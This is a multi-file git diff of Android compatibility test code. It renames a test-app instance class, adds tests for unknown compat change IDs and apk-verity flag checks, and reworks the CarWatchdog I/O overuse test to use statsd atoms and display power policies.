@@ -186,7 +186,7 @@
     public void instance_userReference_nonExistingUser_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUser);
+        TestAppInstance testAppInstance = testApp.instance(sNonExistingUser);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -293,10 +293,10 @@
     @EnsureHasDeviceOwner
     public void install_repeated_hasRemoteDpcDeviceOwner_doesNotFailVerification() {
         TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference t = testApp.install()) {
+        try (TestAppInstance t = testApp.install()) {
             // Intentionally empty
         }
-        try (TestAppInstanceReference t = testApp.install()) {
+        try (TestAppInstance t = testApp.install()) {
             // Intentionally empty
         }
     }
@@ -307,12 +307,12 @@
         TestApp testApp = mTestAppProvider.any();
 
         // The first install can be into the parent or the work profile and it will succeed
-        try (TestAppInstanceReference t = testApp.install()) {
+        try (TestAppInstance t = testApp.install()) {
             // Intentionally empty
         }
 
         // The second will fail 100% of the time if DISALLOW_INSTALL_UNKNOWN_SOURCES is enabled
-        try (TestAppInstanceReference t = testApp.install(sDeviceState.workProfile())) {
+        try (TestAppInstance t = testApp.install(sDeviceState.workProfile())) {
             // Intentionally empty
         }
     }
@@ -321,10 +321,10 @@
     @EnsureHasWorkProfile
     public void install_repeated_hasRemoteDpcWorkProfile_installsInParent_doesNotFailVerification() {
         TestApp testApp = mTestAppProvider.any();
-        try (TestAppInstanceReference t = testApp.install()) {
+        try (TestAppInstance t = testApp.install()) {
             // Intentionally empty
         }
-        try (TestAppInstanceReference t = testApp.install()) {
+        try (TestAppInstance t = testApp.install()) {
             // Intentionally empty
         }
     }
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 82eca41..5b0a59f 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -22,6 +22,8 @@
 import android.app.Service;
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.CrossProfileApps;
 import android.content.pm.LauncherApps;
@@ -29,8 +31,10 @@
 import android.net.wifi.WifiManager;
 import android.os.HardwarePropertiesManager;
 import android.os.UserManager;
+import android.security.KeyChain;
 import android.util.Log;
 
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
 import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
 import com.android.eventlib.premade.EventLibService;
 
@@ -38,17 +42,21 @@
  * An {@link AppComponentFactory} which redirects invalid class names to premade TestApp classes.
  */
 @TestAppReceiver(
-        systemServiceClasses = {
-                DevicePolicyManager.class,
-                HardwarePropertiesManager.class,
-                UserManager.class,
-                WifiManager.class,
-                PackageManager.class,
-                CrossProfileApps.class,
-                LauncherApps.class,
-                AccountManager.class
+        frameworkClasses = {
+                @FrameworkClass(frameworkClass = DevicePolicyManager.class, constructor = "context.getSystemService(android.app.admin.DevicePolicyManager.class)"),
+                @FrameworkClass(frameworkClass = HardwarePropertiesManager.class, constructor = "context.getSystemService(android.os.HardwarePropertiesManager.class)"),
+                @FrameworkClass(frameworkClass = UserManager.class, constructor = "context.getSystemService(android.os.UserManager.class)"),
+                @FrameworkClass(frameworkClass = WifiManager.class, constructor = "context.getSystemService(android.net.wifi.WifiManager.class)"),
+                @FrameworkClass(frameworkClass = PackageManager.class, constructor = "context.getPackageManager()"),
+                @FrameworkClass(frameworkClass = CrossProfileApps.class, constructor = "context.getSystemService(android.content.pm.CrossProfileApps.class)"),
+                @FrameworkClass(frameworkClass = LauncherApps.class, constructor = "context.getSystemService(android.content.pm.LauncherApps.class)"),
+                @FrameworkClass(frameworkClass = AccountManager.class, constructor = "context.getSystemService(android.accounts.AccountManager.class)"),
+                @FrameworkClass(frameworkClass = Context.class, constructor = "context"),
+                @FrameworkClass(frameworkClass = ContentResolver.class, constructor = "context.getContentResolver()"),
+                @FrameworkClass(frameworkClass = KeyChain.class, constructor = "null") // KeyChain can not be instantiated - all calls are static
         }
-)public final class TestAppAppComponentFactory extends AppComponentFactory {
+)
+public final class TestAppAppComponentFactory extends AppComponentFactory {
 
     private static final String LOG_TAG = "TestAppACF";
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
index b0ec2e9..27d86b5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -18,6 +18,8 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.util.Log;
+
 import org.junit.Before;
 
 import java.util.List;
@@ -35,7 +37,7 @@
  * Now Business Logics rules and actions can be called from the GCL by using the interface fully
  * qualified name.
  */
-public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase {
 
     private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
 
@@ -52,7 +54,8 @@
                     "Test \"%s\" is unable to execute as it depends on the missing remote "
                     + "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
         } else if (!mCanReadBusinessLogic) {
-            logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+            Log.i(LOG_TAG, String.format(
+                    "Skipping Business Logic for %s", mTestCase.getMethodName()));
             return;
         }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
deleted file mode 100644
index dbe5128..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-import com.android.compatibility.common.util.MultiLog;
-
-/** Implement the deviceside interface for logging on host+device-common code. */
-public interface MultiLogDevice extends MultiLog {
-    /** {@inheritDoc} */
-    @Override
-    default void logInfo(String logTag, String format, Object... args) {
-        Log.i(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logDebug(String logTag, String format, Object... args) {
-        Log.d(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logWarn(String logTag, String format, Object... args) {
-        Log.w(logTag, String.format(format, args));
-    }
-
-    /** {@inheritDoc} */
-    @Override
-    default void logError(String logTag, String format, Object... args) {
-        Log.e(logTag, String.format(format, args));
-    }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
index b37176e..994459d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -1,7 +1,3 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 201b3de..fe3e959 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsApexTestCases.jar" />
     </test>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
index 060c8ed..3212c99 100644
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -46,8 +46,9 @@
  */
 @RunWith(AndroidJUnit4.class)
 public final class CompatChangesTest {
-  private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
-  private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039;
+  private static final long CTS_SYSTEM_API_CHANGEID = 149391281L;
+  private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039L;
+  private static final long UNKNOWN_CHANGEID = 123L;
 
   private static final String OVERRIDE_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
 
@@ -115,6 +116,13 @@
   }
 
   @Test
+  public void putPackageOverrides_doesNothingIfChangeIsUnknown() {
+    CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
+            Collections.singletonMap(UNKNOWN_CHANGEID,
+                    new PackageOverride.Builder().setEnabled(true).build()));
+  }
+
+  @Test
   public void putPackageOverrides_success() {
     CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
             Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
@@ -164,6 +172,12 @@
   }
 
   @Test
+  public void removePackageOverrides_doesNothingIfChangeIsUnknown() {
+    CompatChanges.removePackageOverrides(OVERRIDE_PACKAGE,
+            Collections.singleton(UNKNOWN_CHANGEID));
+  }
+
+  @Test
   public void removePackageOverrides_overridePresentSuccess() {
     CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
             Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
index 70ba008..66fdf19 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
@@ -30,8 +30,8 @@
 
     private static final String OVERRIDE_PKG = "com.android.cts.appcompat.preinstalloverride";
 
-    private static final long CTS_CHANGE_ID = 149391281L;
     private static final long CTS_OVERRIDABLE_CHANGE_ID = 174043039L;
+    private static final long UNKNOWN_CHANGEID = 123L;
 
     @Override
     protected void setUp() throws Exception {
@@ -78,6 +78,19 @@
         assertThat(ctsChange.hasOverrides).isFalse();
     }
 
+    public void testPutPackageOverridesWhenChangeIdUnknown() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+        runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+                "putPackageOverrides_doesNothingIfChangeIsUnknown",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+
+        Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+        assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+                .that(ctsChange).isNull();
+    }
+
     public void testPutPackageOverridesForAllVersions() throws Exception {
         installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
 
@@ -203,6 +216,19 @@
         assertThat(ctsChange.hasOverrides).isFalse();
     }
 
+    public void testRemovePackageOverridesWhenChangeIdUnknown() throws Exception {
+        installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+        runDeviceCompatTest(TEST_PKG, ".CompatChangesTest",
+                "removePackageOverrides_doesNothingIfChangeIsUnknown",
+                /*enabledChanges*/ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+
+        Change ctsChange = getOnDeviceChangeIdConfig(UNKNOWN_CHANGEID);
+        assertWithMessage("Unknown change %s is found on device", UNKNOWN_CHANGEID)
+                .that(ctsChange).isNull();
+    }
+
     public void testRemovePackageOverridesWhenOverridePresent() throws Exception {
         installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
 
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 7fd3df9..7b8f736 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -70,6 +70,7 @@
             "IGNORE_FULL_BACKUP_CONTENT_IN_D2D",
             "NEVER_SANDBOX_DISPLAY_APIS",
             "OVERRIDE_MIN_ASPECT_RATIO",
+            "OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY",
             "OVERRIDE_MIN_ASPECT_RATIO_LARGE",
             "OVERRIDE_MIN_ASPECT_RATIO_MEDIUM"
     );
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 3524357..620c9eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -19,6 +19,9 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.CddTest;
@@ -435,7 +438,9 @@
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (mLaunchApiLevel >= 31) {
+        final int firstApiLevel =
+                Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 0abb593..e513aa7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -18,6 +18,9 @@
 
 import static android.appsecurity.cts.Utils.waitForBootCompleted;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
@@ -25,7 +28,6 @@
 
 import android.platform.test.annotations.RequiresDevice;
 
-import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -205,7 +207,9 @@
                 getDevice().hasFeature(FEATURE_SECURE_LOCK_SCREEN));
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(getDevice()) >= 31) {
+        final int firstApiLevel =
+                Math.min(getFirstApiLevel(getDevice()), getVendorApiLevel(getDevice()));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index f08f964..9d9ac19 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -31,6 +31,7 @@
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import static org.junit.Assume.assumeTrue;
 
 import java.util.Map;
 
@@ -187,6 +188,7 @@
 
     @Test
     public void testFullDisk() throws Exception {
+        assumeTrue(!isWatch());
         // Clear all other cached and external storage data to give ourselves a
         // clean slate to test against
         getDevice().executeShellCommand("pm trim-caches 4096G");
@@ -261,4 +263,12 @@
             }
         }
     }
+
+    private boolean isWatch() {
+        try {
+             return getDevice().hasFeature("feature:android.hardware.type.watch");
+        } catch (DeviceNotAvailableException e) {
+            return false;
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
index abc04d9..89b832d 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/jni/android_appsecurity_cts_apkveritytestapp_InstalledFilesCheck.cpp
@@ -24,6 +24,8 @@
 
 #include <errno.h>
 #include <fcntl.h>
+#include <linux/fs.h>
+#include <sys/ioctl.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
@@ -35,17 +37,33 @@
     JNIEnv *env, jobject /*thiz*/, jstring filePath) {
   ScopedUtfChars path(env, filePath);
 
+  // Call statx and check STATX_ATTR_VERITY.
   struct statx out = {};
   if (statx(AT_FDCWD, path.c_str(), 0 /* flags */, STATX_ALL, &out) != 0) {
     ALOGE("statx failed at %s", path.c_str());
     return JNI_FALSE;
   }
 
-  // Sanity check.
-  if ((out.stx_attributes_mask & STATX_ATTR_VERITY) == 0) {
-    ALOGE("STATX_ATTR_VERITY not supported by kernel");
+  if (out.stx_attributes_mask & STATX_ATTR_VERITY) {
+    return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+  }
+
+  // STATX_ATTR_VERITY is not supported by kernel for the file path.
+  // In this case, call ioctl(FS_IOC_GETFLAGS) and check FS_VERITY_FL.
+  int fd = open(path.c_str(), O_RDONLY | O_CLOEXEC);
+  if (fd < 0) {
+    ALOGE("failed to open %s", path.c_str());
     return JNI_FALSE;
   }
 
-  return (out.stx_attributes & STATX_ATTR_VERITY) != 0 ? JNI_TRUE : JNI_FALSE;
+  unsigned int flags;
+  int ret = ioctl(fd, FS_IOC_GETFLAGS, &flags);
+  close(fd);
+
+  if (ret < 0) {
+    ALOGE("ioctl(FS_IOC_GETFLAGS) failed at %s", path.c_str());
+    return JNI_FALSE;
+  }
+
+  return (flags & FS_VERITY_FL) != 0 ? JNI_TRUE : JNI_FALSE;
 }
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 0d6bcc1..204ba50 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -162,7 +162,7 @@
         UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
         String storageString = "internal storage";
         try {
-            uiScrollable.scrollTextIntoView(storageString);
+            uiScrollable.scrollIntoView(new UiSelector().textContains(storageString));
         } catch (UiObjectNotFoundException e) {
             // Scrolling can fail if the UI is not scrollable
         }
diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
index 86a667b..7057462 100644
--- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
+++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java
@@ -171,7 +171,11 @@
 
     @Override
     public void dump(String prefix, FileDescriptor fd, PrintWriter writer, String[] args) {
+        if (mDumpMessage.isEmpty()) {
+            return;
+        }
         writer.printf("%s: %s\n", TAG, mDumpMessage);
+        Log.i(TAG, "Dumping message: '" + mDumpMessage + "'");
     }
 
     @Override
@@ -179,7 +183,11 @@
         if (mCar != null) {
             mCar.disconnect();
         }
-
+        if (mTestDir.delete()) {
+            Log.i(TAG, "Deleted directory '" + mTestDir.getAbsolutePath() + "' successfully");
+        } else {
+            Log.e(TAG, "Failed to delete directory '" + mTestDir.getAbsolutePath() + "'");
+        }
         super.onDestroy();
     }
 
@@ -215,8 +223,18 @@
     }
 
     private boolean writeToDisk(long bytes) {
-        long writtenBytes;
         File uniqueFile = new File(mTestDir, Long.toString(System.nanoTime()));
+        boolean result = writeToFile(uniqueFile, bytes);
+        if (uniqueFile.delete()) {
+            Log.i(TAG, "Deleted file: " + uniqueFile.getAbsolutePath());
+        } else {
+            Log.e(TAG, "Failed to delete file: " + uniqueFile.getAbsolutePath());
+        }
+        return result;
+    }
+
+    private boolean writeToFile(File uniqueFile, long bytes) {
+        long writtenBytes = 0;
         try (FileOutputStream fos = new FileOutputStream(uniqueFile)) {
             Log.d(TAG, "Attempting to write " + bytes + " bytes");
             writtenBytes = writeToFos(fos, bytes);
@@ -232,37 +250,46 @@
             Thread.sleep(DISK_DELAY_MS);
             return true;
         } catch (IOException | InterruptedException e) {
-            String reason = e instanceof IOException ? "I/O exception" : "Thread interrupted";
-            setDumpMessage("ERROR: " + reason
-                    + " after successfully writing to disk.\n\n" + e.getMessage());
+            String message;
+            if (e instanceof IOException) {
+                message = "I/O exception";
+            } else {
+                message = "Thread interrupted";
+                Thread.currentThread().interrupt();
+            }
+            if (writtenBytes > 0) {
+                message += " after successfully writing to disk.";
+            }
+            Log.e(TAG, message, e);
+            setDumpMessage("ERROR: " + message);
             return false;
         }
     }
 
-    private long writeToFos(FileOutputStream fos, long maxSize) {
-        long writtenSize = 0;
-        while (maxSize != 0) {
-            int writeSize =
+    private long writeToFos(FileOutputStream fos, long remainingBytes) {
+        long totalBytesWritten = 0;
+        while (remainingBytes != 0) {
+            int writeBytes =
                     (int) Math.min(Integer.MAX_VALUE,
-                            Math.min(Runtime.getRuntime().freeMemory(), maxSize));
+                            Math.min(Runtime.getRuntime().freeMemory(), remainingBytes));
             try {
-                fos.write(new byte[writeSize]);
-            } catch (InterruptedIOException e) {
-                Log.d(TAG, "Exception while writing to file", e);
+                fos.write(new byte[writeBytes]);
+            }  catch (InterruptedIOException e) {
                 Thread.currentThread().interrupt();
-                return writtenSize;
+                continue;
             } catch (IOException e) {
-                Log.d(TAG, "Exception while writing to file", e);
-                return writtenSize;
+                Log.e(TAG, "I/O exception while writing " + writeBytes + " to disk", e);
+                return totalBytesWritten;
             }
-            writtenSize += writeSize;
-            maxSize -= writeSize;
-            if (writeSize > 0) {
-                Log.d(TAG, "writeSize:" + writeSize);
+            totalBytesWritten += writeBytes;
+            remainingBytes -= writeBytes;
+            if (writeBytes > 0 && remainingBytes > 0) {
+                Log.i(TAG, "Total bytes written: " + totalBytesWritten + "/"
+                        + (totalBytesWritten + remainingBytes));
             }
         }
         Log.d(TAG, "Write completed.");
-        return writtenSize;
+        return totalBytesWritten;
     }
 
     private long fetchRemainingBytes(long minWrittenBytes) {
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index 82b29c2..f66b391 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -18,7 +18,17 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStats;
+import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported;
+import com.android.os.AtomsProto.CarWatchdogKillStatsReported;
+import com.android.os.StatsLog.EventMetricData;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.After;
@@ -26,6 +36,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.regex.Matcher;
@@ -42,7 +53,7 @@
      * CarWatchdog app shared user id.
      */
     protected static final String WATCHDOG_APP_SHARED_USER_ID =
-            "android.car.cts.uid.watchdog.sharedapp";
+            "shared:android.car.cts.uid.watchdog.sharedapp";
 
     /**
      * The class name of the main activity in the APK.
@@ -82,22 +93,43 @@
     private static final String SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD =
             "cmd car_service watchdog-io-set-3p-foreground-bytes";
 
+    private static final String DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service define-power-policy cts_car_watchdog_enable_display "
+                    + "--enable DISPLAY";
+
+    private static final String DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service define-power-policy cts_car_watchdog_disable_display "
+                    + "--disable DISPLAY";
+
+    private static final String APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service apply-power-policy cts_car_watchdog_enable_display";
+
+    private static final String APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD =
+            "cmd car_service apply-power-policy cts_car_watchdog_disable_display";
+
+    private static final long FIFTY_MEGABYTES = 1024 * 1024 * 50;
     private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
 
+    private static final int RECURRING_OVERUSE_COUNT = 3;
+
     private static final Pattern DUMP_PATTERN = Pattern.compile(
             "CarWatchdogTestActivity:\\s(.+)");
 
     private static final Pattern FOREGROUND_BYTES_PATTERN = Pattern.compile(
             "foregroundModeBytes = (\\d+)");
 
-    private static final long POLL_TIMEOUT_MS = 15_000;
+    private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
 
     private long mOriginalForegroundBytes;
 
     @Before
     public void setUp() throws Exception {
-        String foregroundBytesDump = executeCommand(GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD);
-        mOriginalForegroundBytes = parseForegroundBytesFromMessage(foregroundBytesDump);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        executeCommand(DEFINE_ENABLE_DISPLAY_POWER_POLICY_CMD);
+        executeCommand(DEFINE_DISABLE_DISPLAY_POWER_POLICY_CMD);
+        mOriginalForegroundBytes = parseForegroundBytesFromMessage(executeCommand(
+                GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD));
         executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, TWO_HUNDRED_MEGABYTES);
         executeCommand("logcat -c");
         executeCommand(START_CUSTOM_PERF_COLLECTION_CMD);
@@ -106,48 +138,145 @@
 
     @After
     public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        executeCommand(APPLY_ENABLE_DISPLAY_POWER_POLICY_CMD);
+        // Enable the CTS packages by running the reset resource overuse command.
+        executeCommand(RESET_RESOURCE_OVERUSE_CMD);
         executeCommand(STOP_CUSTOM_PERF_COLLECTION_CMD);
         executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, mOriginalForegroundBytes);
     }
 
     @Test
-    public void testCarWatchdog() throws Exception {
-        startMainActivity(APP_PKG);
+    public void testIoOveruseKillAfterDisplayTurnOff() throws Exception {
+        uploadStatsdConfig(APP_PKG);
 
-        long remainingBytes = readForegroundBytesFromActivityDump(APP_PKG);
-        sendBytesToKillApp(remainingBytes, APP_PKG);
+        for (int i = 0; i < RECURRING_OVERUSE_COUNT; ++i) {
+            overuseDiskIo(APP_PKG);
+            verifyAtomIoOveruseStatsReported(APP_PKG, /* overuseTimes= */ i + 1);
+            ReportUtils.clearReports(getDevice());
+        }
 
-        remainingBytes = readForegroundBytesFromActivityDump(APP_PKG);
-        assertWithMessage("Application exceeded I/O overuse threshold")
-                .that(remainingBytes).isEqualTo(0);
+        executeCommand(APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD);
 
         verifyTestAppKilled(APP_PKG);
+        verifyAtomKillStatsReported(APP_PKG);
     }
 
     @Test
-    public void testCarWatchdogWithShareUserId() throws Exception {
